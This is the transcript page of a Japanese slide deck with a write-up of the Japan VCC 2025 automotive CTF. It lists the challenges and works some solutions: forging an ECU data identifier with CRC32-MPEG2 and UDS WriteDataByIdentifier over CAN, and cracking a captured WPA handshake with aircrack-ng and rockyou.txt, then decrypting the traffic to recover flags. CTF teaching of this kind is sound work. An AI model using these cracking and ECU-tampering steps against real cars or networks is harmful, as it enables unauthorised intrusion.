Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Japan VCC 2025 Write-up

Avatar for bata_24 bata_24
October 24, 2025

Japan VCC 2025 Write-up

Avatar for bata_24

bata_24

October 24, 2025
Tweet

More Decks by bata_24

Other Decks in Technology

Transcript

  1. 2

  2. 3

  3. 4 年 大会名 備考 2023 BlockHarbor Automotive CTF グローバル@オンライン 2024

    BlockHarbor VicOne Automotive CTF - Season 2 グローバル予選@オンライン 日本決勝@東京 (日本勢のみ) グローバル決勝@デトロイト 2025 Vehicle Cybersecurity Competition 2025 グローバル@オンライン 日本勢向け招待制大会 (Japan VCC 2025) 本日問題解説する大会はここ。 グローバル@オンラインの上位2名(がそれぞれ作るチーム)と、 別途招待された7チームの、計9チームで戦う
  4. 6 No. カテゴリ 問題名 点数 概要 1 RAMN [A] チュートリアル

    500 RAMNを使って、様々なフラグを探す問題。 先頭の[A]~[D]は、RAMN上のECU番号。 2 RAMN [D] シリアルコンソール 500 3 RAMN [D] IDをダンプして 500 4 RAMN [D] DIDをダンプして 500 5 RAMN [D] もっとDIDをダンプして 1000 6 RAMN [B] もうひとつあります 1600 7 RAMN [B] Secure b00t 1600 8 RAMN [C] FOTA 1600 9 RAMN [A] パスワードをください 2400 10 RAMN [B] タイミング通り 2400 11 RAMN [D] 完全性 2400 12 RAMN [A] CAN't Read This 3600 13 Admin Portal 2FA 1000 Web問。 14 Connected App VIN 1000 15 Car Hotspot Aircrack 1600 パケキャプ系問題。
  5. 7

  6. 8

  7. 9

  8. 10

  9. 11

  10. 13

  11. 15

  12. 16

  13. 17

  14. 18

  15. 21 >>> import crccheck >>> crccheck.crc.Crc32() Crc(width=32, poly=0x4c11db7, initvalue=0xFFFFFFFF, reflect_input=True,

    reflect_output=True, xor_output=0xffffffff, check_result=0xcbf43926, residue=0xdebb20e3) >>> crccheck.crc.Crc32Mpeg2() Crc(width=32, poly=0x4c11db7, initvalue=0xFFFFFFFF, reflect_input=False, reflect_output=False, xor_output=0x0, check_result=0x376e6e7, residue=0x0) >>> 利用する生成多項式は同じだが、 細かいところが違う
  16. 23

  17. 24 >>> crccheck.crc.Crc32Mpeg2().calchex(b"PWNED") '7549d12b' >>> DID 元の内容 現在の内容 0x2222 ECU

    D PWNED 0x2223 f37db951 =CRC32Mpeg2("ECU D") f37db951 =CRC32Mpeg2("ECU D") 明らかに ミスマッチ
  18. 25 $ echo "2E 22 23 75 49 d1 2b"

    | sendECUD $ echo "22 22 24" | sendECUD $ dumpECUD can0 7E3 [8] [SF] ln: 7 data: 2E 22 23 75 49 D1 2B - '."#uI.+' - [SRQ] WriteDataByIdentifier can0 7EB [4] [SF] ln: 3 data: 6E 22 23 - 'n"#' - [PSR] WriteDataByIdentifier can0 7E3 [4] [SF] ln: 3 data: 22 22 24 - '""$' - [SRQ] ReadDataByIdentifier can0 7EB [8] [FF] ln: 22 data: 62 22 24 66 6C 61 - 'b"$fla' - [PSR] ReadDataByIdentifier can0 7E3 [3] [FC] FC: 0 = CTS # BS: 0 = off # STmin: 0x00 = 0 ms can0 7EB [8] [CF] sn: 1 data: 67 7B 66 6C 69 67 68 - 'g{fligh' can0 7EB [8] [CF] sn: 2 data: 74 5F 72 34 62 62 31 - 't_r4bb1' can0 7EB [3] [CF] sn: 3 data: 74 7D - 't}' sendECUD/dumpECUDコマンドは、isotpsend/is otpdumpのエイリアス。詳細は以下に記載がある https://github.com/ToyotaInfoTech/RAMN/b lob/main/docs/userguide/diag_tutorial.rst
  19. 26

  20. 27

  21. 28

  22. 29 $ aircrack-ng capture-01.pcap Reading packets, please wait... Opening capture-01.pcap

    Read 1491 packets. # BSSID ESSID Encryption 1 EC:5A:31:85:04:E8 CarHotspot WPA (1 handshake) Choosing first network as target. Reading packets, please wait... Opening capture-01.pcap Read 1491 packets. 1 potential targets Please specify a dictionary (option -w). ハンドシェイクが含まれる場合、 辞書攻撃でパスフレーズを特定できれば勝ちです ハンドシェイクが含まれない場合は、 既存通信に割り込んでdeauthさせ、 再度ハンドシェイクを引き起こし、 その時の通信をキャプチャしなければなりません
  23. 30 $ aircrack-ng -w rockyou.txt capture-01.pcap Aircrack-ng 1.7 [00:00:20] 15270/14344391

    keys tested (761.87 k/s) Time left: 5 hours, 13 minutes, 27 seconds 0.11% KEY FOUND! [ password1234 ] Master Key : 92 6C 54 6C 8C F4 16 E8 51 CF 42 41 B0 44 99 97 F2 9C 64 33 71 AE 86 D7 6E 05 1C 76 EC 74 FF 35 Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EAPOL HMAC : E0 F0 1B F4 49 22 61 9B 41 DE 6C D8 B7 69 A0 68 30秒くらいでパスフレーズが 見つかります rockyouは比較的重たい辞書です(134MB) 時短のため、CTF前にDLしておきましょう
  24. 31 $ airdecap-ng -e "CarHotspot" -p password1234 capture-01.pcap Total number

    of stations seen 2 Total number of packets read 1491 Total number of WEP data packets 0 Total number of WPA data packets 124 Number of plaintext data packets 0 Number of decrypted WEP packets 0 Number of corrupted WEP packets 0 Number of decrypted WPA packets 115 Number of bad TKIP (WPA) packets 0 Number of bad CCMP (WPA) packets 0 $ strings capture-01-dec.pcap |grep flag 6flag{w34k_c4rh0tsp0t_p4ssw0rd} 6flag{w34k_c4rh0tsp0t_p4ssw0rd} $
  25. 32

  26. 33